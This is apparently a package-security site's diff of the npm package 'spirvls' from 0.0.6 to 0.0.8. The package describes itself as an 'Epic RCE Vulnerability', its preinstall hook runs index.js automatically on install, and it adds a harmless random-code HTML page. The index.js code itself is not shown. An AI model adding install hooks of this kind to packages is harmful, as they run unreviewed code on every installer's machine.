spirvls 0.0.6 → 0.0.8

Sign up to get free protection for your applications and to get access to all the features.
package/package.json CHANGED
@@ -1,12 +1,11 @@
1
1
  {
2
2
  "name": "spirvls",
3
- "version": "0.0.6",
4
- "description": "Epic-RCE-Vulnerability",
3
+ "version": "0.0.8",
4
+ "description": "Epic RCE Vulnerability",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "test": "echo \"Error: no test specified\" && exit 1",
8
8
  "preinstall" : "node index.js"
9
-
10
9
  },
11
10
  "author": "",
12
11
  "license": "ISC"
package/rand.html ADDED
@@ -0,0 +1,57 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <title>6-Digit Random Code</title>
7
+ <style>
8
+ body {
9
+ font-family: Arial, sans-serif;
10
+ text-align: center;
11
+ margin-top: 50px;
12
+ }
13
+ .code {
14
+ font-size: 2rem;
15
+ font-weight: bold;
16
+ color: #007BFF;
17
+ margin-top: 20px;
18
+ }
19
+ </style>
20
+ </head>
21
+ <body>
22
+ <h1>Your 6-Digit Random Code</h1>
23
+ <p>This code is valid for 12 hours.</p>
24
+ <div class="code" id="code"></div>
25
+ <script>
26
+ // Function to get or generate the 6-digit random code
27
+ function getRandomCode() {
28
+ const codeKey = "randomCode";
29
+ const timestampKey = "codeTimestamp";
30
+
31
+ // Get current time
32
+ const currentTime = Date.now();
33
+ const expirationTime = 12 * 60 * 60 * 1000; // 12 hours in milliseconds
34
+
35
+ // Retrieve code and timestamp from localStorage
36
+ const savedCode = localStorage.getItem(codeKey);
37
+ const savedTimestamp = localStorage.getItem(timestampKey);
38
+
39
+ if (savedCode && savedTimestamp && (currentTime - savedTimestamp < expirationTime)) {
40
+ return savedCode; // Return existing code if it's valid
41
+ }
42
+
43
+ // Generate a new 6-digit random code
44
+ const newCode = Math.floor(100000 + Math.random() * 900000);
45
+
46
+ // Save the new code and timestamp in localStorage
47
+ localStorage.setItem(codeKey, newCode);
48
+ localStorage.setItem(timestampKey, currentTime);
49
+
50
+ return newCode;
51
+ }
52
+
53
+ // Display the code in the HTML
54
+ document.getElementById("code").textContent = getRandomCode();
55
+ </script>
56
+ </body>
57
+ </html>